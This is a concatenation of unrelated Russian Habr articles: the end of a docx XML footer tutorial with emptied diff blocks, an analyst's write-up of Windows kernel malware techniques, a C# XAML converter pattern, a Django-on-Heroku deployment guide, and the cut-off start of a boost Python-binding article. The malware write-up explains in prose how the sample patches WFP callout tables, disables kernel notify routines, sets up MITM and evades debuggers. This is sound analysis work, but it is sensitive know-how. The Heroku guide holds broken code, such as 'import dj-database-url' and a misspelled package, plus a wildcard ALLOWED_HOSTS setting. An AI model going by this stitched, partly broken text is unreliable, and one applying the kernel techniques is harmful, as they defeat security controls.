[Вот первоначальный коммит](https://github.com/eduard93/docx/commit/0cd149e7cdab4e816a82a9128dbc5cfe89d74a97). Добавляем нижний колонтитул с текстом 123 и распаковываем документ. Такой diff получается первоначально:
Сразу же исключаем изменения в `docProps/app.xml` и `docProps/core.xml` — там тоже самое, что и в первом примере.
#### [Content\_Types].xml
```
@@ -4,10 +4,13 @@
+
+
+
```
footer явно выглядит как то, что нам нужно, но что делать с footnotes и endnotes? Являются ли они обязательными при добавлении нижнего колонтитула или их создали заодно? Ответить на этот вопрос не всегда просто, вот основные пути:
* Посмотреть, связаны ли изменения друг с другом
* Экспериментировать
* Ну а если совсем не понятно что происходит:
[](http://www.commitstrip.com/en/?)
Идём пока что дальше.
#### word/\_rels/document.xml.rels
Изначально diff выглядит вот так:
**diff**
```
@@ -1,8 +1,11 @@
xml version="1.0" encoding="UTF-8" standalone="yes"?
+
+
-
-
+
+
+
```
Видно, что часть изменений связана с тем, что Word изменил порядок связей, уберём их:
```
@@ -3,6 +3,9 @@
+
+
+
```
Опять появляются footer, footnotes, endnotes. Все они связаны с основным документом, перейдём к нему:
#### word/document.xml
```
@@ -15,10 +15,11 @@
+
```
Редкий случай когда есть только нужные изменения. Видна явная ссылка на footer из [sectPr](http://www.datypic.com/sc/ooxml/e-w_sectPr-3.html). А так как ссылок в документе на footnotes и endnotes нет, то можно предположить что они нам не понадобятся.
#### word/settings.xml
**diff**
```
@@ -1,19 +1,30 @@
xml version="1.0" encoding="UTF-8" standalone="yes"?
+
+
+
+
+
+
+
+
+
+
+
```
А вот и появились ссылки на footnotes, endnotes добавляющие их в документ.
#### word/styles.xml
**diff**
```
@@ -480,6 +480,50 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
```
Изменения в стилях нас интересуют только если мы ищем как поменять стиль. В данном случае это изменение можно убрать.
#### word/footer1.xml
Посмотрим теперь собственно на сам нижний колонтитул (часть пространств имён опущена для читабельности, но в документе они должны быть):
```
123
```
Тут виден текст 123. Единственное, что надо исправить — убрать ссылку на .
В результате анализа всех изменений делаем следующие предположения:
* footnotes и endnotes не нужны
* В `[Content_Types].xml` надо добавить footer
* В `word/_rels/document.xml.rels` надо добавить ссылку на footer
* В `word/document.xml` в тег надо добавить
Уменьшаем diff до этого набора изменений:
Затем запаковываем [документ](https://github.com/eduard93/docx/releases/download/v1.0.0/footer.docx) и открываем его.
Если всё сделано правильно, то документ откроется и в нём будет нижний колонтитул с текстом 123. А вот и итоговый [коммит](https://github.com/eduard93/docx/commit/1f794a5cdba458b60466d8c1ca9a16e252b44e59).
Таким образом процесс поиска изменений сводится к поиску минимального набора изменений, достаточного для достижения заданного результата.
Практика
--------
Найдя интересующее нас изменение, логично перейти к следующему этапу, это может быть что-либо из:
* Создания docx
* Парсинг docx
* Преобразования docx
Тут нам потребуются знания [XSLT](https://ru.wikipedia.org/wiki/XSLT) и [XPath](https://ru.wikipedia.org/wiki/XPath).
Давайте напишем достаточно простое преобразование — замену или добавление нижнего колонтитула в существующий документ. Писать я буду на языке Caché ObjectScript, но даже если вы его не знаете — не беда. В основном будем вызовать XSLT и архиватор. Ничего более. Итак, приступим.
### Алгоритм
Алгоритм выглядит следующим образом:
1. Распаковываем документ.
2. Добавляем наш нижний колонтитул.
3. Прописываем ссылку на него в `[Content_Types].xml` и `word/_rels/document.xml.rels`.
4. В `word/document.xml` в тег добавляем тег или заменяем в нём ссылку на наш нижний колонтитул.
5. Запаковываем документ.
Приступим.
#### Распаковка
В Caché ObjectScript есть возможность выполнять команды ОС с помощью функции [$zf(-1, oscommand)](http://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls?KEY=RCOS_fzf-1). Вызовем unzip для распаковки документа с помощью [обёртки над $zf(-1)](https://github.com/intersystems-ru/Converter/blob/master/Converter/Common.cls.xml#L11):
```
/// Используя %3 (unzip) распаковать файл %1 в папку %2
Parameter UNZIP = "%3 %1 -d %2";
/// Распаковать архив source в папку targetDir
ClassMethod executeUnzip(source, targetDir) As %Status
{
set timeout = 100
set cmd = $$$FormatText(..#UNZIP, source, targetDir, ..getUnzip())
return ..execute(cmd, timeout)
}
```
#### Создаём файл нижнего колонтитула
На вход поступает текст нижнего колонтитула, запишем его в файл in.xml:
```
TEST
```
В XSLT (файл — footer.xsl) будем создавать нижний колонтитул с текстом из тега xml (часть пространств имён опущена, вот [полный список](https://github.com/intersystems-ru/Converter/blob/master/Converter/Footer.cls.xml#L327)):
```
```
Теперь вызовем [XSLT преобразователь](http://docs.intersystems.com/latest/csp/documatic/%25CSP.Documatic.cls?PAGE=CLASS&LIBRARY=%25SYS&CLASSNAME=%25XML.XSLT.Transformer#METHOD_TransformFile):
```
do ##class(%XML.XSLT.Transformer).TransformFile("in.xml", "footer.xsl", footer0.xml")
```
В результате получится файл нижнего колонтитула `footer0.xml`:
```
TEST
```
#### Добавляем ссылку на колонтитул в список связей основного документа
Сссылки с идентификатором `rId0` как правило не существует. Впрочем можно использовать XPath для получения идентификатора которого точно не существует.
Добавляем ссылку на `footer0.xml` c идентификатором rId0 в `word/_rels/document.xml.rels`:
**XSLT**
```
```
#### Прописываем ссылки в документе
Далее надо в каждый тег добавить тег или заменить в нём ссылку на наш нижний колонтитул. [Оказалось](https://msdn.microsoft.com/en-us/library/documentformat.openxml.wordprocessing.footerreference(v=office.14).aspx), что у каждого тега может быть 3 тега — для первой страницы, четных страниц и всего остального:
**XSLT**
```
```
#### Добавляем колонтитул в `[Content_Types].xml`
Добавляем в `[Content_Types].xml` информацию о том, что `/word/footer0.xml` имеет тип `application/vnd.openxmlformats-officedocument.wordprocessingml.footer+xml`:
**XSLT**
```
```
#### В результате
Весь код [опубликован](https://github.com/intersystems-ru/Converter/blob/master/Converter/Footer.cls.xml). Работает он так:
```
do ##class(Converter.Footer).modifyFooter("in.docx", "out.docx", "TEST")
```
Где:
* `in.docx` — исходный документ
* `out.docx` — выходящий документ
* `TEST` — текст, который добавляется в нижний колонтитул
Выводы
------
Используя только XSLT и ZIP можно успешно работать с документами docx, таблицами xlsx и презентациями pptx.
Открытые вопросы
----------------
1. Изначально хотел использовать 7z вместо zip/unzip т… к. это одна утилита и она более распространена на Windows. Однако я столкнулся с такой проблемой, что документы запакованные 7z под Linux не открываются в Microsoft Office. Я попробовал достаточно много [вариантов](http://7zip.bugaco.com/7zip/MANUAL/switches/index.htm) вызова, однако положительного результата добиться не удалось.
2. Ищу XSD со схемами ECMA-376 версии 5 и комментариями. XSD версии 5 без комментариев доступен к загрузке на сайте ECMA, но без комментариев в нём сложно разобраться. XSD версии 2 с комментариями доступен к загрузке.
Ссылки
------
* [ECMA-376](http://www.ecma-international.org/publications/standards/Ecma-376.htm)
* [Описание docx](https://msdn.microsoft.com/en-us/library/aa338205.aspx)
* [Подробная статья про docx](https://www.toptal.com/xml/an-informal-introduction-to-docx)
* [Репозиторий со скриптами](https://github.com/eduard93/docx)
* [Репозиторий с преобразователем нижнего колонтитула](https://github.com/intersystems-ru/Converter/) | https://habr.com/ru/post/321044/ | null | ru | null |
# Экстенсивный подход. Как много техник можно обнаружить в одном образце вредоносного программного обеспечения (ВПО)
— "Прошу расшифровать трафик в адрес …" - описание задачи в трекере.
— "Давай, Морти! Приключение на 20 минут. Зашли и вышли." - ответил голос в голове.
Но, как и у героев мультфильма, приключение несколько затянулось. Расшифрованный трафик только привлек внимание и подогрел интерес к обнаруженному образцу. Самая любопытная часть исследования, а именно используемые ВПО техники, и будет изложена в данной статье.
### Предыстория
Мне давно нравились публикации и вебинары от Positive Technologies на тему ИБ и вирусной аналитики в частности. И вот выпал шанс попасть к ним на стажировку. Мне довелось работать в команде с людьми, которые невероятно увлечены тем, что они делают, обладают обширными знаниями и охотно делятся своим опытом. В ходе стажировки мне досталось несколько интересных задач, результатами работы над одной из них я и решил поделиться.
### Несколько слов об образце
Исследуемый образец вредоносного программного обеспечения был обнаружен на просторах внешних песочниц и прежде всего интересен количеством и разнообразием используемых техник. Широкий функционал обеспечивается за счет загрузки дополнительных модулей с сервера.
Взаимодействие с сервером осуществляется посредством зашифрованных сообщений, для чего к полезным данным добавляется специальный заголовок, содержащий необходимую служебную информацию - особую метку, маркер типа сообщения, размер данных, контрольную сумму, ключ шифрования и т.д. На сервер отправляется информация о целевой системе, такая как версия ОС, имя компьютера, mac-адрес сетевой карты, mac-адрес шлюза, а также версия ВПО. В ответ сервер отправляет соответствующий конфигурационный файл и запароленные архивы, в которых содержатся различные исполняемые файлы (драйвера, exe-файлы, динамические библиотеки) и файлы с дополнительной конфигурационной информацией.
Стоит также отметить, что большая часть исполняемых файлов упакована VMprotect'ом. Есть [хорошая статья](https://back.engineering/17/05/2021/) по тому, как устроена виртуальная машина VMprotect'а. В случае с exe и dll файлами особых трудностей распаковка не вызывает, но для драйверов все несколько сложнее. В данном случае, для распаковки, снимались дампы памяти ядра ОС, извлечение из них нужных образов, а для восстановления импортов - эмуляция обфусцированных вызовов функций при помощи unicorn. Такой способ хорошо описан в [этой статье](https://habr.com/en/company/group-ib/blog/564738/).
### Используемые техники
#### 1. Внедрение кода в секции .text легитимных исполняемых файлов
Для маскировки подозрительной активности код вызова некоторых функций может помещается в секции `.text` других исполняемых файлов. Это возможно благодаря тому, что все секции исполняемого файла выровнены по определенной границе. Таким образом в конце секции присутствует не используемый участок памяти. Для поиска такого участка и определения "объема доступной памяти" можно воспользоваться данными из заголовка `IMAGE_SECTION_HEADER` исполняемого файла, а именно полями `VirtualAddress`, `SizeOfRawData` и `VirtualSize`.
Рис. 1. Поиск "свободного" места в секции .textКогда нужный участок памяти найден, необходимо отметить его как доступный для записи. В режиме ядра для этого существует несколько способов. Одним из них является использование функции `MmProbeAndLockPages` с параметром `LOCK_OPERATION` равным `IoWriteAccess` или `IoModifyAccess`. Функция осуществляет фиксацию страниц виртуальной памяти с указанными правами доступа.
Рис. 2. Фиксация страниц виртуальной памятиДалее в найденный участок памяти помещаются опкоды инструкций для осуществления безусловного перехода на заданный адрес. Проще говоря - помещается код, который вызывает указанную функцию.
Рис. 3. Внедрение инструкций безусловного переходаВ приведенном фрагменте кода можно заметить баг - значение параметра `LOCK_OPERATION` устанавливается в `IoReadAccess.`
*Непроверенное предположение: может оказаться, что IoReadAccess не помеха, и запись возможна. Основанием для таких подозрений является то, что это не единственный случай подобного бага. Такой код встречался и ранее в другом ВПО. Хотя возможно имеет место переиспользование/заимствование кода.*
#### 2. Reflective load
Техника заключается в загрузке в оперативную память и запуске исполняемого файла в обход штатных, предназначенных для этих целей, механизмов ОС. Для этого программному обеспечению необходимо считать заголовок исполняемого файла, выделить достаточный объем памяти (обычно по размеру образа), расставить секции файла по виртуальным адресам, загрузить необходимые библиотеки, пересчитать IAT, обработать таблицу релокаций, вызвать TLS коллбэки и передать управление на точку входа. Описание техники с примерами кода можно найти [здесь](https://github.com/stephenfewer/ReflectiveDLLInjection).
#### 3. Reflective loader injection
Сначала подготавливается буфер, в который помещаются имена необходимых функций и библиотек, сам исполняемый файл (который необходимо внедрить в целевой процесс) и код, выполняющий его загрузку по методу Reflective load. Для пересчета адресов, в исходном коде загрузчика заменяются предусмотренные для этого значения.
Рис. 4. Подготовка загрузчикаДалее, подготовленный буфер записывается в адресное пространство целевого процесса. После передачи управления загрузчик получает адреса нужных ему функций и выполняет загрузку исполняемого файла (чтение заголовка, расстановку секций и т.д.).
Рис. 5. Загрузка исполняемого файла#### 4. Защита процессов/потоков
Для ограничения доступа к защищаемым процессам и потокам функцией `ObRegisterCallbacks` регистрируются соответствующие коллбэки. Вызов коллбэков происходит при создании или дублирование хэндла на объект ядра соответствующего типа (например триггером может служить вызов функции `OpenProcess`). При регистрации указываются тип объекта ядра, для которого регистрируется коллбэк, тип операции - создание или дублирование, и указатели на функции-обработчики.
Рис. 6. Регистрация коллбэковЛюбопытный момент. Если верить MSDN, то функцией `ObRegisterCallbacks` можно установить коллбэки для процессов, потоков и объектов рабочего стола. Однако в структуре `_OBJECT_TYPE_INITIALIZER` (которая является частью структуры `_OBJECT_TYPE`) присутствует флаг `SupportsObjectCallbacks.` Установив этот флаг в 1, можно зарегистрировать коллбэк и для других объектов типа.
Рис. 7. Структура \_OBJECT\_TYPEРис. 8. Структура \_OBJECT\_TYPE\_INITIALIZER*Примечание. Если верить различным источникам, то такой способ работает только в Win 7, т.к. установка флага SupportsObjectCallbacks в последующих версиях детектится патч-гардом. Однако можно проверить в какой момент осуществляется проверка данного флага, и попробовать вернуть его в исходное состояние уже после регистрации колбэка.*
Один из драйверов использует эту особенность для контроля доступа к файлам, за счет регистрации коллбэка для объекта типа `IoFileObjectType.`
Рис. 9. Установка флага SupportsObjectCallbacksРис. 10. Регистрация коллбэка для объекта типа IoFileObjectTypeВ самой функции-обработчике (коллбэке) проверяется маска доступа к объекту и при необходимости заменяется, ограничивая доступ к объекту. Например для объекта типа процесс, можно запретить приостановку, завершение, запись в адресное пространство, создание дочерних процессов и т.д.
Рис. 11. Ограничение доступа к объекту типа процесс#### 5. Контроль сетевого трафика с использованием Windows Filtering Platform (WFP)
#### Добавление фильтров сетевого трафика
Коротко описать Windows Filtering Platform вряд ли получится, тем не менее некоторые пояснения необходимы. Также есть [неплохая статья](https://googleprojectzero.blogspot.com/2021/08/understanding-network-access-windows-app.html) о том, как WFP используется в работе Windows Defender Firewall.
WFP - это набор API и системных сервисов, с помощью которого можно проводить инспекцию сетевого трафика.
Рис. 12. Windows Filtering PlatformВ WFP используется ряд сущностей.
* Layer - контейнер, объединяющий различные фильтры. Можно представить как объект в стэке tcp/ip, к которому применимы определенные правила фильтрации. Например Layer с идентификатором `FWPM_LAYER_INBOUND_IPPACKET_V4` определяет применение фильтров к входящим пакетам на этапе, когда данные из IP header'а получены, но еще не обрабатывались. Соответственно на этом этапе возможна фильтрация по ip адресам, но не доступна, например, фильтрация по номерам портов, т.к. эта информация располагается в заголовке следующего уровня стека tcp/ip. С такой задачей могут справиться фильтры Layer'a с идентификатором `FWPM_LAYER_INBOUND_TRANSPORT_V4.`
* Filter - набор правил, по которым проверяются входящие и исходящие пакеты. Проверяют заданные условия (например ip адрес или номер порта) и определяют дальнейшие действия - блокировать пакет, разрешить или вызвать callout для проведения более глубокого анализа.
* Shim - компонент, осуществляющий сбор классифицирующей информации и ее передачу соответствующим фильтрам. Именно shim'ы сбрасывают пакеты или соединения, основываясь на результатах классификации.
* Callout - набор функция, выполняющих анализ и обработку данных пакета. Наибольший интерес представляет классифицирующая функция (classifyFn), которая принимает решение о том, что делать с пакетом - блокировать, разрешить, продолжить обработку, разорвать соединение, запросить дополнительную информацию, отложить.
Поток данных можно разбить на следующие этапы:
1. Прием пакета на определенном уровне сетевого стека
2. Вызов соответствующего shim'а
3. Проведение классификации на определенном слое
4. Применение фильтров
5. Вызов Callout'ов
6. Принятие shim'ом окончательного решения
Для работы с WFP необходимо выполнить ряд действий - открыть сессию для работы с движком фильтрации, объявить начало транзакции внутри текущей сессии, зарегистрировать callout, добавить объект callout'а, добавить фильтр и завершить транзакцию.
Рис. 13. Регистрация callout'aФункции `classifyFn`, `notifyFn` и `flowDeleteFn` в данном случае являются своеобразными "трамплинами". Дело в том, что перед регистрацией callout'а, код вызова "нужных" функций помещается в свободное место секции `.text` драйвера Tcpip. Таким образом в таблице callout'ов все адреса функций принадлежат легитимным драйверам.
Рис. 14. Внедрение кода в секцию .text драйвера TcpipРис. 15. Добавление объекта callout'аСтоит отметить, что фильтр (структура `FWPM_FILTER0`), для которого не определены условия фильтрации (поля `numFilterConditions` и `filterCondition` равны 0), применяется для всех соединений соответствующего слоя.
Рис. 16. Добавление фильтраПоле action (структура `FWPS_ACTION0`) определяет действия, которые выполняет фильтр, при совпадении условий, указанных в поле `filterCondition` (массив структур `FWPM_FILTER_CONDITION0`). В данном случае `action.type = FWP_ACTION_CALLOUT_TERMINATING`, говорит о том, что нужно вызвать классифицирующую функцию callout'а, которая должна либо разрешить прием/передачу пакета (`FWP_ACTION_PERMIT`), либо запретить (`FWP_ACTION_BLOCK`). `action.calloutKey` определяет уникальный идентификатор callout'а, которому будет направлен пакет для обработки.
Эти механизмы позволяют внедрять или извлекать данные из TCP потока, блокировать доступ к определенным ресурсам и многое другое.
Рис. 17. Внедрение данных в TCP-потокРис. 18. Блокировка https-соединения за счет замены буквы в имени хостаОдин из исполняемых модулей пользовательского режима внедрялся в браузерные процессы, перехватывал функции для работы с сетью и передавал данные IRP-запросами модулю режима ядра, открывая возможности для проведения MITM-атак.
Рис. 19. Плацдарм для проведения MITM-атак
Может возникнуть вопрос - почему авторы ВПО использовали такую схему вместо того, чтобы осуществлять обработку данных в промежуточном буфере между SSL сервером и SSL клиентом. Ведь тогда бы не было необходимости в модуле пользовательского режима, а значит и в дополнительных операциях по внедрению библиотеки, установке хуков и т.д. Возможно это сделано для того, чтобы разделить функционал между модулями: отдельно ssl-proxy, отдельно модуль для проведения MITM атак (на такую мысль наталкивает еще и тот факт, что другие исполняемые модули также выполняют свою конкретную задачу). Нарпимер при продаже ВПО в дарквебе, модульная структура позволит подстраиваться под потребности клиентов и предоставлять только те функции, которые им необходимы.
#### Модификация существующих правил
Драйвер netio.sys хранит информацию обо всех зарегистрированных callout'ах в одном массиве (таблице). Для того, что бы получить адрес массива, сначала определяется адрес, по которому расположен драйвер netio.sys. Для этого вызывается функция `ZwQuerySystemInformation` с параметром `SystemInformationClass = 0x0B` (`SYSTEM_MODULE_INFORMATION`), получается список загруженных модулей и в цикле проверяется имя каждого модуля.
Рис. 20. Поиск драйвера netio.sysДалее определяется адрес директории экспорта и адрес функции `KfdGetOffloadEpoch.`
Рис. 21. Поиск адреса функции KfdGetOffloadEpochНаконец получается адрес символа `gWfpGlobal.` По определенным смещениям от него находятся адрес таблицы зарегистрированных callout'ов и их количество.
Рис. 22. Получение адреса таблицы зарегистрированных callout'овСмещения 550h и 548h корректны для Win7 x64. Однако при необходимости можно запустить отладчик режима ядра и взглянуть на функции вроде `NETIO!FeInitCalloutTable` или `NETIO!GetCalloutEntry` для определения смещений до таблицы callout'ов, а также на функцию `NETIO!InitDefaultCallout` для определения примерной структуры и размера каждой записи таблицы.
Рис. 23. Фрагмент функции NETIO!FeInitCalloutTableРис. 24. Фрагмент функции NETIO!InitDefaultCalloutКак можно заметить, каждая запись занимает 40h байт и хранит адреса функций callout'а. Когда известен адрес таблицы callout'ов, количество записей, размер каждой записи и смещение до указателя на классифицирующую функцию, не составляет труда изменить правила фильтрации.
Исследуемый образец, к примеру, подставлял адрес функции-заглушки, которая разрешала весь трафик, без осуществления фильтрации (своего рода анти-файрволл).
Рис. 25. Функция-заглушка classifyFn#### 6. Установка хуков драйвера файловой системы
Подменяются major-функции драйвера файловой системы. Перед этим сохраняются адреса оригинальных функций.
Рис. 26. Подмена major-функции драйвера файловой системы#### 7. Использование неявных вызовов API функций
Сначала получается адрес функции, затем выделяется память в текущем процессе с правами rwx, в которую помещается заранее подготовленный «пролог» (начальный фрагмент кода), а следом инструкция jmp на адрес, равный "адрес\_функции + размер\_пролога". Таким образом пропускается несколько первых инструкций, а значит и хуки или брейкпоинты, если они были там установлены.
Рис. 27. Использование неявных вызовов#### 8. Поиск и подмена функций-обработчиков создания процессов/потоков и загрузки исполняемых образов.
Для регистрация обработчиков (коллбэков) загрузки образов исполняемых файлов или создания процессов/потоков используются функции `PsSetLoadImageNotifyRoutine`, `PsSetCreateProcessNotifyRoutine`, `PsSetCreateThreadNotifyRoutine.`
Рис. 28. Регистрация обработчика создания процессаДля каждого вида коллбэка в ядре Windows существует массив, в котором хранятся указатели на все зарегистрированные обработчики и глобальная переменная, содержащая их количество. Для LoadImage колбэков, указателем на начало такого массива является символ `nt!PspLoadImageNotifyRoutine.` Для получения адреса символа исследуемый образец определяет адрес функции `PsSetLoadImageNotifyRoutine,` и далее от этого адреса осуществляет поиск заранее подготовленного фрагмента кода (шаблона).
Рис. 29. Получение таблицы с адресами обработчиков загрузки исполняемых образовПосле того, как адрес таблицы найден, проверяется, какому модулю принадлежит каждый обработчик, и при необходимости первый байт функции заменяется на 0xC3 (инструкция ret). Предварительно первые 16 байт сохраняются для возможности последующего восстановления оригинальной функции. Чтобы разрешить запись, 16-й бит регистра cr0 (Write protect) устанавливается в 0.
Рис. 30. Патч обработчиков загрузки исполняемых образов#### 9. Защитные механизмы.
Помимо упаковки исполняемых модулей VMprotect'ом, ВПО применяет широко распространенные техники защиты от анализа.
**Проверка наличия отладчика.**
Рис. 31. Проверка наличия отладчика**Детект виртуальной машины на основании проверки наименований жестких дисков.**
Рис. 32. Определение среды виртуализации**Проверка запущенных процессов.**
В списке присутствуют PCHunter, Graydove, PowerTool, ida, HttpAnalyzer, HttpDebug, Wireshark и многие другие.
Рис. 33. Проверка процессов**Проверка открытых окон.**
В списке запрещенных - windobj, OllyDbg, WinDbg, Procmon.
Рис. 34. Проверка открытых окон**Стирание заголовка PE-файла**
Выполняется для того, чтобы усложнить поиск исполняемого файла в дампе.
Рис. 35. Стирание заголовка PE-файла### Заключение
Хотя описанные техники известны большинству исследователей и вирусных аналитиков, нечасто можно словить джек-пот и собрать все в одном исследовании. Полезно иметь под рукой памятку, где, с примерами реализаций, будут описаны техники, которые используют авторы ВПО для достижения своих целей. | https://habr.com/ru/post/647335/ | null | ru | null |
# Фишки XAML-разработчика: композитные конвертеры
Статья будет посвящена простому, но эффективному паттерну — *Composite Converter* [*составной конвертер*].
Встречаются ситуации, когда уже есть несколько конвертеров, но возникает необходимость в создании нового, который является логической композицией имеющихся. Чтобы не создавать классов, которые отчасти дублируют функционал, можно поступить предложенным ниже образом. Обратите внимание на свойства *PostConverter* и *PostConverterParameter*.
```
using System.Windows.Data;
namespace Aero.Converters.Patterns
{
public interface ICompositeConverter : IValueConverter
{
IValueConverter PostConverter { get; set; }
object PostConverterParameter { get; set; }
}
}
```
**Inline Converter**
```
using System;
using System.Globalization;
using System.Windows.Data;
using Aero.Converters.Patterns;
namespace Aero.Converters
{
public class InlineConverter : IInlineConverter, ICompositeConverter
{
public IValueConverter PostConverter { get; set; }
public object PostConverterParameter { get; set; }
public event EventHandler Converting;
public event EventHandler ConvertingBack;
public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
{
var args = new ConverterEventArgs(value, targetType, parameter, culture);
var handler = Converting;
if (handler != null) handler(this, args);
return PostConverter == null
? args.ConvertedValue
: PostConverter.Convert(args.ConvertedValue, targetType, PostConverterParameter, culture);
}
public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)
{
var args = new ConverterEventArgs(value, targetType, parameter, culture);
var handler = ConvertingBack;
if (handler != null) handler(this, args);
return PostConverter == null
? args.ConvertedValue
: PostConverter.ConvertBack(args.ConvertedValue, targetType, PostConverterParameter, culture);
}
}
}
```
**Switch Converter**
```
using System;
using System.Globalization;
using System.Linq;
using System.Windows;
using System.Windows.Data;
using System.Windows.Markup;
using Aero.Converters.Patterns;
namespace Aero.Converters
{
[ContentProperty("Cases")]
public class SwitchConverter : DependencyObject, ISwitchConverter, ICompositeConverter
{
public static readonly DependencyProperty DefaultProperty = DependencyProperty.Register(
"Default", typeof(object), typeof(SwitchConverter), new PropertyMetadata(CaseSet.UndefinedObject));
public SwitchConverter()
{
Cases = new CaseSet();
}
public object Default
{
get { return GetValue(DefaultProperty); }
set { SetValue(DefaultProperty, value); }
}
public CaseSet Cases { get; private set; }
public bool TypeMode { get; set; }
public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
{
if (TypeMode) value = value == null ? null : value.GetType();
var pair = Cases.FirstOrDefault(p => Equals(p.Key, value) || SafeCompareAsStrings(p.Key, value));
var result = pair == null ? Default : pair.Value;
value = result == CaseSet.UndefinedObject ? value : result;
return PostConverter == null
? value
: PostConverter.Convert(value, targetType, PostConverterParameter, culture);
}
public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)
{
if (TypeMode) value = value == null ? null : value.GetType();
var pair = Cases.FirstOrDefault(p => Equals(p.Value, value) || SafeCompareAsStrings(p.Value, value));
value = pair == null ? Default : pair.Key;
return PostConverter == null
? value
: PostConverter.ConvertBack(value, targetType, PostConverterParameter, culture);
}
private static bool SafeCompareAsStrings(object a, object b)
{
if (a == null && b == null) return true;
if (a == null || b == null) return false;
return string.Compare(a.ToString(), b.ToString(), StringComparison.OrdinalIgnoreCase) == 0;
}
public IValueConverter PostConverter { get; set; }
public object PostConverterParameter { get; set; }
}
}
```
Это позволит объединять конвертеры в логические цепочки различной длины и запросто строить новые на базе существующих.
```
Number == 1 => out: Yes
Number == 0 => out: No
```
Гениальное просто! Пользуйтесь на здоровье!
Живые примеры доступны с библиотекой *[Aero Framework](http://makeloft.by/ru/tools)* [[резервная ссылка](http://1drv.ms/1JsaRgl)].
Спасибо!
P.S. [Предыдущая статья о встраиваемых конвертерах](https://habrahabr.ru/post/276185/) | https://habr.com/ru/post/276273/ | null | ru | null |
# Как поставить Django на сервер heroku в 2020 году. 10 шагов
Решил поделиться с вами тем, как поставить проект написаный на Python/Django на сервер heroku. Heroku — это бесплатный хостинг для тестирования своих проектов. Если вам нужно посмотреть как действует проект в боевом режиме — вперед!
1. **Надо пройти регистрацию на heroku.** В этом нет ничего сложного, просто вводите данные, подтверждаете на почте аккаунт, и вперед.
2. **Установка командной строки heroku.**, слева-вверху видим **burger** меню, клацаем по нему и выбираем — **Documentation** -> **Python**, нажимаем **Get Start With Python**. Дальше слева нажимаем **Set Up** и выбираем установку **heroku console** на вашу операционную систему, тут нет ничего сложного, просто устанавливаем как вам удобно и все.
3. Закрываем пока что браузер и заходим в **командную строку** или **bash**. Переходим в папку с нашим **django-проектом** и открываем проект в текстовом редакторе (в моем случае **Pycharm**). Дальше нам придется работать с системой контроля версий git. Если у вас нет данной утилиты, то вы ее можете скачать по адресу — [git-scm.com/downloads](https://git-scm.com/downloads). Пройдите простую установку и возвращайтесь к данной статье.
4. В нашей консоли прописываем команду:
```
git init
```
После чего создаем в каталоге проекта файл **.gitignore**. В нем мы можем записать все файлы которые мы хотим проигнорировать при загрузке на сервер. Допустим на сервере я буду использовать базу данных **MySQL**, по этому файл **db.sqlite3** мне не нужен.
Пишем этот код:
```
__pychache__/
*.pyc
db.sqlite3
```
После пишем в bush 3 команды
```
git add .
git commit -m "GIT init"
```
1-ая отвечает за добавление всех фалов в git.
2-ая за сохранение данных файлов на компьютере локально с сообщением GIT init.
5. Теперь входим в наш heroku через консоль. Пишем:
```
heroku login
```
Дальше вводим сначало E-mail, нажимаем Enter. Потом пароль и опять же Enter.
Вот мы и вошли. Дальше создаем приложение, мы это будем делать через консоль так что вводим в нее следующее:
```
heroku create
```
Команда создает приложение. После этой команды через пробел можно написать имя приложения. В противном случае heroku с генерирует его автоматически и выведет в консоль.
6. Дальше создаем несколько файлов, для того что бы heroku понял что мы загружаем и как:
**Procfile**
**runtime.txt**
1. В **runtime** сразу пишем этот код:
```
python-3.8.5
```
После python-, пишите вашу версию python.
2. **Procfile**:
```
web: gunicorn appname.wsgi --log-file -
```
Вместо **appname** пишите название своего проекта.
Дальше устанавливаем сам **gunicorn** для обслуживания **django** через **wsgi**:
```
pip install gunicorn
```
Сразу же устанавливаем **whitenoise** для работы со статическими файлами:
```
pip install witenoise
```
7. Теперь переходим в **settings.py** и делаем следующие изменения:
```
ALLOWED_HOSTS = ['*']
```
Добавляем **static\_root** если у вас его нет:
```
import os
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
```
8. Настраиваем работу с базой данных. Устанавливаем утилиту для более удобной работы:
```
pip install dj-database-url
```
переходим опять в настройки и пишем:
```
import dj-database-url
db_from_env = dj-database-url.config()
DATABASE['default'].update(db_from_env)
```
9. Последний файл который нам нужен — **requirements.txt**, в нем будут все установленные библиотеки:
```
pip freeze -> requirements.txt
```
У нас создался файл со всеми пакетами. Можете записать в него различные пакеты с их версиями. Обязательно надо записать эту строчку:
```
psycopg2==2.8.6
```
Если при дальнейших действиях у вас возникнут ошибки, посмотрите, может вам надо добавить сюда какой либо пакет.
10. Ну и финал, загружаем на сервер.
Переходим в консоль и пишем такие команды:
```
git add .
git commit -m "Diploy"
git push heroku main
```
Если у вас не получилось с **main**, попробуйте:
```
git push heroku master
```
И пошел процесс загрузки нашего проекта на heroku. Дальше вам в консоль напишет ссылку на наш проект. По ней мы будем переходить потом, а сейчас выполним все **миграции**:
```
heroku run python manage.py migrate
```
И создадим **super user**-а:
```
heroku run python manage.py createsuperuser
```
Переходим по раннее полученной ссылке, и видим наш проект. Вот так за 10 шагов мы загрузили наш проект на heroku и настроили базу данных. Всем спасибо за внимание. | https://habr.com/ru/post/523308/ | null | ru | null |
# C/C++ из Python (boost)
Заключительная статья из серии как вызывать **C/C++** из **Python3**, перебрал все известные способы как можно это сделать. На этот раз добрался до [**boost**](https://www.boost.org/doc/libs/1_66_0/libs/python/doc/html/index.html). Что из этого вышло читаем ниже.
C
-
За основу беру один и тот же пример тестовой библиотеки и делаю его вариацию для конкретного способа. Тестовая библиотека для демонстрации работы с глобальными переменными, структурами и функциями с аргументами различных типов.
test.c:
```
#include "test.hpp"
int a = 5;
double b = 5.12345;
char c = 'X';
int
func_ret_int(int val) {
printf("C get func_ret_int: %d\n", val);
return val;
}
double
func_ret_double(double val) {
printf("C get func_ret_double: %f\n", val);
return val;
}
object
func_ret_str(char *val) {
printf("C get func_ret_str: %s\n", val);
return object(string(val));
}
char
func_many_args(int val1, double val2, char val3, short val4) {
printf("C get func_many_args: int - %d, double - %f, char - %c, short - %d\n", val1, val2, val3, val4);
return val3;
}
test_st_t *
func_ret_struct(test_st_t *test_st) {
if (test_st) {
